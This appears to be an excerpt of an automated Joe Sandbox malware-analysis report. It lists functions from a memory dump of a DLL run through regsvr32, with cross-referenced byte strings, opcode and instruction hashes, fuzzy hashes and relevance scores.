Function 000000018000EBAC Relevance: 5.2, Strings: 4, Instructions: 153COMMON

Download Yara Rule

Strings

;, xrefs: 000000018000EC21
_, xrefs: 000000018000EEE2
eQ%, xrefs: 000000018000EDF2
;, xrefs: 000000018000EBEC

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ;$;$eQ%$_
API String ID: 0-1753937898
Opcode ID: afea0fbc1d0f044595d14710a3cdc41d7bc72a212051bdcef0ffdf3ac8c4ab3c
Instruction ID: 3574068fecf093fcbc9a635d24f3027655c33c427b378eb3a0ef079df85d540d
Opcode Fuzzy Hash: afea0fbc1d0f044595d14710a3cdc41d7bc72a212051bdcef0ffdf3ac8c4ab3c
Instruction Fuzzy Hash: 868137705003CCABDBFACF28CC997D93BA0FB49354F50822AE94A8E250DF745B499B40

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000F048 Relevance: 5.1, Strings: 4, Instructions: 132COMMON

Download Yara Rule

Strings

{(, xrefs: 000000018000F087
<;?:, xrefs: 000000018000F261
:U, xrefs: 000000018000F1C1
{(, xrefs: 000000018000F09F

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: :U$<;?:${(${(
API String ID: 0-1086306767
Opcode ID: adfd1542a6b862dcbbf80cb55e1091ef2c2665d1724c34312d1a81eba162a757
Instruction ID: ff3a3435717f4ead1b58fb824901535bd9cf299cdf9a7bd1c813f3606ded2d6e
Opcode Fuzzy Hash: adfd1542a6b862dcbbf80cb55e1091ef2c2665d1724c34312d1a81eba162a757
Instruction Fuzzy Hash: 0861E0705187848BD768CF28C18965FBBF0FB8A748F10891EF68686260D7B6D948CB03

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015DF4 Relevance: 5.1, Strings: 4, Instructions: 110COMMON

Download Yara Rule

Strings

t010, xrefs: 0000000180015ED3
|N., xrefs: 0000000180015F5D
h<, xrefs: 0000000180015E04
Oh, xrefs: 0000000180015F56

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Oh$h<$t010$|N.
API String ID: 0-2324740333
Opcode ID: 35c0cfe6136cac06300efd424f395a2521218bc7fc47dd603edd05c4400a0958
Instruction ID: 16379aaf1bb4413e0c13418f9d8c18c2bc98b7e827952bd0a9b5f9990c6c03cf
Opcode Fuzzy Hash: 35c0cfe6136cac06300efd424f395a2521218bc7fc47dd603edd05c4400a0958
Instruction Fuzzy Hash: E051B1B090034A8BCF48DF68D48A4DE7FB1FB58398F60461DE85AAA250D37496A4CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002191C Relevance: 4.1, Strings: 3, Instructions: 336COMMON

Download Yara Rule

Strings

dF, xrefs: 0000000180021B0D
V{mu, xrefs: 0000000180021ED2
GW, xrefs: 0000000180021B05

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: GW$V{mu$dF
API String ID: 0-3399639152
Opcode ID: 13f3ce258387fdab81722341723304c211862b24c4b90673b1ab6d5c48b56b4d
Instruction ID: 5d4924119bb90987b6c65e27c55bf51887eeb75551c0c0a5c8140b5b1edb0396
Opcode Fuzzy Hash: 13f3ce258387fdab81722341723304c211862b24c4b90673b1ab6d5c48b56b4d
Instruction Fuzzy Hash: B8F13F71508B888FD7B9CF28D48969EBBF0FB84744F20461EE5A59B270DBB49645CF02

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002AC4C Relevance: 4.1, Strings: 3, Instructions: 330COMMON

Download Yara Rule

Strings

]w(, xrefs: 000000018002AFB8
n S$, xrefs: 000000018002AD26
K:, xrefs: 000000018002B007

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: K:$]w($n S$
API String ID: 0-3322466707
Opcode ID: c1684008171d4e306236772ac743a7b0f928483c20fc59153bd471c66e400ccf
Instruction ID: e698a885d6bb162bf0ff3cac371d937558b4210aa05752a6266eb715b4493fc4
Opcode Fuzzy Hash: c1684008171d4e306236772ac743a7b0f928483c20fc59153bd471c66e400ccf
Instruction Fuzzy Hash: 94F11570D047588BDBA8DFA8C88A6DDBBF0FB48304F60821DD85AAB251DB749949DF40

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180013B94 Relevance: 4.1, Strings: 3, Instructions: 322COMMON

Download Yara Rule

Strings

o%, xrefs: 0000000180013EB8
S'$, xrefs: 0000000180013DF8
$L+, xrefs: 0000000180013E76

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: $L+$S'$$o%
API String ID: 0-4100028055
Opcode ID: 9fd258a3895b4d268f32f05a4a2d93e51bad250bed430a342084c072b36ef08c
Instruction ID: 179b9f87c3a4f9e214743648708db8209e3d71a45a824f016a1577c5ed2144a1
Opcode Fuzzy Hash: 9fd258a3895b4d268f32f05a4a2d93e51bad250bed430a342084c072b36ef08c
Instruction Fuzzy Hash: 34F1DFB1504609DFCB98DF28C0896DE7BE0FB58358F41812AFC4A9B264D770DA68DB45

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001D510 Relevance: 4.1, Strings: 3, Instructions: 317COMMON

Download Yara Rule

Strings

7, xrefs: 000000018001D692
r>, xrefs: 000000018001D8BF
D"C!, xrefs: 000000018001D961

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: D"C!$r>$7
API String ID: 0-4181936694
Opcode ID: 541cc3c13b8465e2a0518f703328e58551f25428cc9c4eed4f201bddabca6e18
Instruction ID: 0283378d108cf163dc6514248e6e0b5631fea62f1129ef615c9b8fd25e2e86b8
Opcode Fuzzy Hash: 541cc3c13b8465e2a0518f703328e58551f25428cc9c4eed4f201bddabca6e18
Instruction Fuzzy Hash: 1BE1EF70510B4CEBDBD9DF28D8CAADD3BA0FB48394FA06219FD0686250D775D989CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180017C8C Relevance: 4.0, Strings: 3, Instructions: 298COMMON

Download Yara Rule

Strings

47T], xrefs: 0000000180018050
K_j, xrefs: 0000000180017EF3
is[, xrefs: 0000000180017E36

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 47T]$K_j$is[
API String ID: 0-2699472077
Opcode ID: f40290fddc4da9899e50fb62f60591b1b1e6ff44cb1495cdff8c692982a81ea2
Instruction ID: 6016c1221021197edd7f817fb9cbd09fcb5ac8bbf6c5f54f5697c1ffe249b4d0
Opcode Fuzzy Hash: f40290fddc4da9899e50fb62f60591b1b1e6ff44cb1495cdff8c692982a81ea2
Instruction Fuzzy Hash: 2CD127719047CD8FCF99CFA8C88A6EE7BB1FB48344F50821DE80697651C7B4990ACB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180005E7C Relevance: 4.0, Strings: 3, Instructions: 288COMMON

Download Yara Rule

Strings

Mt, xrefs: 0000000180006415
B+=, xrefs: 000000018000609E
[4, xrefs: 00000001800063B2

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: B+=$Mt$[4
API String ID: 0-935141491
Opcode ID: a60433d87628b4dd05d8c24f82dcc33c98af1bb7bb81019966b8dd8b9453b802
Instruction ID: bf1f234f614a92c8f0daef92778263c373ce788cc2d228a45e1a9745d38385ec
Opcode Fuzzy Hash: a60433d87628b4dd05d8c24f82dcc33c98af1bb7bb81019966b8dd8b9453b802
Instruction Fuzzy Hash: 36F1D470505B888FDBB9DF24CC897EB7BA0FB94316F10551EE84A9A290DFB49648CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000F678 Relevance: 4.0, Strings: 3, Instructions: 271COMMON

Download Yara Rule

Strings

@%?5, xrefs: 000000018000FA7A
b3, xrefs: 000000018000FAAF
$c7, xrefs: 000000018000F8D9

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: $c7$@%?5$b3
API String ID: 0-1970763919
Opcode ID: 9dd9411ae2ae8fe50429bce004b52f82e822d73dcaf286881c61fffa8cd320f1
Instruction ID: 7544b270a4a1d87a4c453583f66bfc56a0d33d7204b7a287ddb0882fb61d0d22
Opcode Fuzzy Hash: 9dd9411ae2ae8fe50429bce004b52f82e822d73dcaf286881c61fffa8cd320f1
Instruction Fuzzy Hash: 48E158B5902748CFCB88DF68C69A59D7BF1FF59308F404029FC1A9A264D7B4D928CB49

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180011904 Relevance: 4.0, Strings: 3, Instructions: 235COMMON

Download Yara Rule

Strings

#^, xrefs: 0000000180011B00
`], xrefs: 0000000180011C79
%, xrefs: 0000000180011B2C

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #^$`]$%
API String ID: 0-102912427
Opcode ID: ca2120b3b73aeab9747ebd3a80ee073ee8f7bbd66699a0431753568d5f85675a
Instruction ID: 878e7741f870b7fe1bc6c0f4a33361fdae8fd10665ac772b8c524eb0937c225a
Opcode Fuzzy Hash: ca2120b3b73aeab9747ebd3a80ee073ee8f7bbd66699a0431753568d5f85675a
Instruction Fuzzy Hash: FDB1277090474D8FCF48CF68C88A6DE7BF0FB48398F165219E85AA6250D778D549CF89

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180014AA4 Relevance: 4.0, Strings: 3, Instructions: 234COMMON

Download Yara Rule

Strings

EQp, xrefs: 0000000180014B22
JK8[, xrefs: 0000000180014D3E
kU, xrefs: 0000000180014D4C

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: EQp$JK8[$kU
API String ID: 0-1401246002
Opcode ID: f6e783ca98e508b57d8889390bb84d83c8a7c59b34dd19a79ab41ed993f4136f
Instruction ID: 75ff6837d11cf9dd0609e11c9b8f3cf17f900585419d92be27056132c399e7dd
Opcode Fuzzy Hash: f6e783ca98e508b57d8889390bb84d83c8a7c59b34dd19a79ab41ed993f4136f
Instruction Fuzzy Hash: 2EB1587190474DCBCF88CF68C48A6DE7BF0FB58358F165219E94AA6260C778D584CF89

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800171B8 Relevance: 4.0, Strings: 3, Instructions: 233COMMON

Download Yara Rule

Strings

zJ, xrefs: 00000001800172A5
h, xrefs: 00000001800173F7
/@=`, xrefs: 00000001800173C1

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: /@=`$h$zJ
API String ID: 0-1145068787
Opcode ID: 058fb21ebd37bd9eb3c247c823e69362e4f90846d4c9b1e02e85b924af49b442
Instruction ID: efaff62c6dea5b666cd0ec5e1287633bd35f75f1b854ced8b25ae11fb6165d3c
Opcode Fuzzy Hash: 058fb21ebd37bd9eb3c247c823e69362e4f90846d4c9b1e02e85b924af49b442
Instruction Fuzzy Hash: 74A12F70608B4C8BEB9ADF18C4857DD7BF1FB49384F508559F84A86292CB34DA49CB86

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180029710 Relevance: 4.0, Strings: 3, Instructions: 232COMMON

Download Yara Rule

Strings

>6, xrefs: 0000000180029ADE
nB, xrefs: 00000001800299EC
$g, xrefs: 00000001800299E4

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: $g$>6$nB
API String ID: 0-1868063892
Opcode ID: ff2a3d7c641745ffb25121b662fa46cfa0900d035ad6a59b85364cfb369e7909
Instruction ID: 5ef365e91c1d80a07604eb41db5a1b86f6ebf61e3d7968a3749ade557fb4125b
Opcode Fuzzy Hash: ff2a3d7c641745ffb25121b662fa46cfa0900d035ad6a59b85364cfb369e7909
Instruction Fuzzy Hash: 7CB121705193849FC7A9CF68C58569EBBF0FB88744F906A1DF8868B260D7B4DA44CF42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180012BB8 Relevance: 4.0, Strings: 3, Instructions: 229COMMON

Download Yara Rule

Strings

#\9, xrefs: 0000000180012C23
M, xrefs: 0000000180012E31
Vj+&, xrefs: 0000000180012CFD

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #\9$Vj+&$M
API String ID: 0-3658199817
Opcode ID: b54fe4db0c482ebc48653361818c1ec5b550a7c5ec628dbf807c67c5d3739686
Instruction ID: 26c1b974044aa0bae0d49f3ac843ec2fe1acc35572613d15cd803358aab69238
Opcode Fuzzy Hash: b54fe4db0c482ebc48653361818c1ec5b550a7c5ec628dbf807c67c5d3739686
Instruction Fuzzy Hash: FEA144709147098FCB48CFA8D88A5DEBBF0FB48318F11421DE89AB7250D778A945CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180027E14 Relevance: 4.0, Strings: 3, Instructions: 224COMMON

Download Yara Rule

Strings

#X, xrefs: 0000000180028091
d3, xrefs: 000000018002800F
d,U, xrefs: 0000000180027F45

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$d,U$d3
API String ID: 0-3246363944
Opcode ID: b19347f6a86a0bef7f71d8365dac67f13c927bf2e0e4be2ddf998f75a428a595
Instruction ID: e67d37b33042bdc2b75ebe9cceb0670a2214c716ea8b8408a91d9fe0cb16ea97
Opcode Fuzzy Hash: b19347f6a86a0bef7f71d8365dac67f13c927bf2e0e4be2ddf998f75a428a595
Instruction Fuzzy Hash: 84C1F9715093C8CBDBBEDF64C885BDA3BA9FB44708F10521DEA0A9E258CB745749CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001447C Relevance: 3.9, Strings: 3, Instructions: 188COMMON

Download Yara Rule

Strings

Zo, xrefs: 00000001800146A2
X9T[, xrefs: 000000018001462F
Y)~, xrefs: 00000001800146C6

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: X9T[$Y)~$Zo
API String ID: 0-3816472334
Opcode ID: 4d45b44019f37ffc6e1bc3352b37dca48114cbe71f71f11aaeec7abd6044a81e
Instruction ID: 74daf22561f986eaee31dd2e877d7e0390ad28e8a973cc345c4d359d4462c4de
Opcode Fuzzy Hash: 4d45b44019f37ffc6e1bc3352b37dca48114cbe71f71f11aaeec7abd6044a81e
Instruction Fuzzy Hash: A8A17CB5A02749CBCF48DF68C29A59D7BF1BF49304F408129FC1A9A360E3B5E525CB49

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800141C8 Relevance: 3.9, Strings: 3, Instructions: 138COMMON

Download Yara Rule

Strings

K), xrefs: 0000000180014298
HR, xrefs: 0000000180014219
HR, xrefs: 0000000180014236

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: HR$HR$K)
API String ID: 0-1226256413
Opcode ID: fe1a1f4cc53af174484b1611b8e08b9bf30ae67f3885f7bd771c709debbd063f
Instruction ID: e79f82d9c1651787cdde5b7f69db4956d02e0856481d2681396fdc662c453c95
Opcode Fuzzy Hash: fe1a1f4cc53af174484b1611b8e08b9bf30ae67f3885f7bd771c709debbd063f
Instruction Fuzzy Hash: 7B511971A08B0D8FDB58DFE8C4856EEBBF1FB48354F004119E81AB72A4C7749A09CB95

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002CCE0 Relevance: 3.9, Strings: 3, Instructions: 123COMMON

Download Yara Rule

Strings

:;, xrefs: 000000018002CD37
", xrefs: 000000018002CDCA
]u, xrefs: 000000018002CE88

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ]u$"$:;
API String ID: 0-2021956800
Opcode ID: e5b729e8d3ca91e6ffaa64c5216b9ad0038ed08cda9d2019842c7aa3bd36f9ee
Instruction ID: 26b28f3a503e825e1842dbf9688ebde44fe9506c1339f803b7779101942ae612
Opcode Fuzzy Hash: e5b729e8d3ca91e6ffaa64c5216b9ad0038ed08cda9d2019842c7aa3bd36f9ee
Instruction Fuzzy Hash: A4619CB490438E8FCB48DF68C88A5CE7BB0FB48758F104A19EC26A7250D3B49664CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180017710 Relevance: 3.8, Strings: 3, Instructions: 94COMMON

Download Yara Rule

Strings

p/{, xrefs: 00000001800177F9
:/, xrefs: 00000001800177D0
MX-, xrefs: 000000018001774E

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: :/$MX-$p/{
API String ID: 0-4131788469
Opcode ID: dafbc4e7fc6d693899884ed9ed99f384ad96a46aea59d1081574b489c0c87a57
Instruction ID: 300bb33d5e72857c277ccbf4b656446e283825a036a8781aa3fd7c6b43312ff2
Opcode Fuzzy Hash: dafbc4e7fc6d693899884ed9ed99f384ad96a46aea59d1081574b489c0c87a57
Instruction Fuzzy Hash: A451CFB181034E8FCB48CF68C49A9DEBFB0FB58358F104619E816A6260D3B496A4CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180014930 Relevance: 3.8, Strings: 3, Instructions: 80COMMON

Download Yara Rule

Strings

r]I, xrefs: 00000001800149AB
#X, xrefs: 000000018001497C
^', xrefs: 00000001800149CB

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$^'$r]I
API String ID: 0-2222137400
Opcode ID: 6c7560d6808315bae7f49c2fb11faa3634dddad0bf829aa3411576f4b5dc867d
Instruction ID: 3b6e37f17289f863f41b4cc43218ba669218828eb13bdfb79aac3f5d198efd30
Opcode Fuzzy Hash: 6c7560d6808315bae7f49c2fb11faa3634dddad0bf829aa3411576f4b5dc867d
Instruction Fuzzy Hash: 363117B15087C48BD75DDFA8C49A21EFBE1BB84344F508A1DF5828A760D7F4D548CB42

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800154B8 Relevance: 3.8, Strings: 3, Instructions: 64COMMON

Download Yara Rule

Strings

w4, xrefs: 0000000180015548
@, xrefs: 00000001800154BC
T3$, xrefs: 0000000180015569

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: @$T3$$w4
API String ID: 0-2021144935
Opcode ID: bc7dc22fb94c9f236bd87286f30cded165edce72f2f8fa2203197d10143a9bcc
Instruction ID: b7ecb3d52509d16e0b7106ebb5b87557e4c245f613a26780fe6ea3dbe1bda8ab
Opcode Fuzzy Hash: bc7dc22fb94c9f236bd87286f30cded165edce72f2f8fa2203197d10143a9bcc
Instruction Fuzzy Hash: 2C31B1B452C781AFC788DF28C49981EBBE1FB88314F806A1CF8C68B354D7799815CB42

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001890C Relevance: 2.8, Strings: 2, Instructions: 306COMMON

Download Yara Rule

Strings

z2[, xrefs: 0000000180018A73
fuQ, xrefs: 0000000180018D3F

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: fuQ$z2[
API String ID: 0-2289383304
Opcode ID: 441494ec0c86c783de8318a42c6139c52bb1bde3da6283a2c639beb8e2f65b2f
Instruction ID: 6dbb2b06e415c8f3afbcfc152abca8622b4e8fcbe683a1ba83f0e2cb341d8d2f
Opcode Fuzzy Hash: 441494ec0c86c783de8318a42c6139c52bb1bde3da6283a2c639beb8e2f65b2f
Instruction Fuzzy Hash: 3EE11E7150670CCBDB68CF38C58A69D7BE1FF54348F205129EC1A9B262D770E929CB49

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180020A34 Relevance: 2.8, Strings: 2, Instructions: 279COMMON

Download Yara Rule

Strings

kR[, xrefs: 0000000180020B0B
:C, xrefs: 0000000180020BBF

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: :C$kR[
API String ID: 0-2209222604
Opcode ID: 11a29c0ca78bb61b91ac56aed3bc2f39647a1b65c88feb917197daf0b3f95e80
Instruction ID: 7c9a6a6b3faeb9776e3b10aef600c10835f2b607fd00d40f7bdfdfd53dfcb9a1
Opcode Fuzzy Hash: 11a29c0ca78bb61b91ac56aed3bc2f39647a1b65c88feb917197daf0b3f95e80
Instruction Fuzzy Hash: 90D13870A4470C8FDB99DFA8D04A7DDBBF2FB48344F108119E80AAF295C7B49949CB85

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800227E0 Relevance: 2.8, Strings: 2, Instructions: 266COMMON

Download Yara Rule

Strings

b*I , xrefs: 00000001800229BE
U/a, xrefs: 0000000180022A24

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: U/a$b*I
API String ID: 0-148379327
Opcode ID: 5fd17e9242f9f83aee3c84d8a49cb22fc0f07f7b85d6bf0c23bfb3783ccf2aec
Instruction ID: 7d254379c67d49f8dc4f025a9255c0c47b4989c88be3dfa38f92a25c6632ea03
Opcode Fuzzy Hash: 5fd17e9242f9f83aee3c84d8a49cb22fc0f07f7b85d6bf0c23bfb3783ccf2aec
Instruction Fuzzy Hash: 28D10B7150024E8BCB59CF68C88A6DE3FB0FB18398F155219FC5AA7250D7B8D698CBC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180022E38 Relevance: 2.8, Strings: 2, Instructions: 250COMMON

Download Yara Rule

Strings

Jl, xrefs: 000000018002319C
aijA, xrefs: 00000001800231C1

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Jl$aijA
API String ID: 0-1592139677
Opcode ID: 63e2519535c0a0a06864801ebef0b78a9df6d39fc0654acb9b8633e279544aec
Instruction ID: 7b4029e1b0f4c6d16455640de175402024ed69906be1bf35ac226dba8d49acae
Opcode Fuzzy Hash: 63e2519535c0a0a06864801ebef0b78a9df6d39fc0654acb9b8633e279544aec
Instruction Fuzzy Hash: 4AC1217111474CCFDBA9CF28C59A6DA3BE8FF48344F10412AFC5A86261C774EA58CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180021F7C Relevance: 2.7, Strings: 2, Instructions: 223COMMON

Download Yara Rule

Strings

aT, xrefs: 000000018002216F
E!X, xrefs: 00000001800222D6

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: E!X$aT
API String ID: 0-1608121357
Opcode ID: 6891fb2d6db3071f9b84c44756173137ff7b28830fe573994ee80e512644894e
Instruction ID: 4d019785a6b4256ed0cfe79ca05195ecf0bf4926bcad1b682180c0cba5e5cf4f
Opcode Fuzzy Hash: 6891fb2d6db3071f9b84c44756173137ff7b28830fe573994ee80e512644894e
Instruction Fuzzy Hash: 16B12770E0470ECFCB99DFE8C4556EFB7B6FB58388F0081599806A6290DB748719CB85

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000C85C Relevance: 2.7, Strings: 2, Instructions: 219COMMON

Download Yara Rule

Strings

5t, xrefs: 000000018000C991
i6, xrefs: 000000018000CAC6

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: i6$5t
API String ID: 0-3127670231
Opcode ID: a253027af394429a069129eb83cd81c4fb0c40bb542b60a20d2aa22b5b78e39c
Instruction ID: 343c37a285082c0d22a0c6c838fe19bbba7b54ff6f1f952ba2714c32cb406723
Opcode Fuzzy Hash: a253027af394429a069129eb83cd81c4fb0c40bb542b60a20d2aa22b5b78e39c
Instruction Fuzzy Hash: B6A1E270D087188FDB69DFB9C88A69DBBF0FB48708F20821DD856A7252DB749949CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002868C Relevance: 2.7, Strings: 2, Instructions: 178COMMON

Download Yara Rule

Strings

t3Z, xrefs: 00000001800287C1
r', xrefs: 0000000180028998

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: t3Z$r'
API String ID: 0-3247238830
Opcode ID: 45187aede304d4735527529db4b0bfe1669f1d2749ba8206633b0fe433a295e4
Instruction ID: 1d29c97d450220819c0ed5b60dd6ff5608267f61915941bb22285759947d3464
Opcode Fuzzy Hash: 45187aede304d4735527529db4b0bfe1669f1d2749ba8206633b0fe433a295e4
Instruction Fuzzy Hash: 74A1EC706057CC9FEBB9DF24C8897DE7BA0FB4A344F50461DE88A8E260DB745649CB02

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800180D4 Relevance: 2.7, Strings: 2, Instructions: 172COMMON

Download Yara Rule

Strings

jt, xrefs: 00000001800183B3
N}V, xrefs: 0000000180018346

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

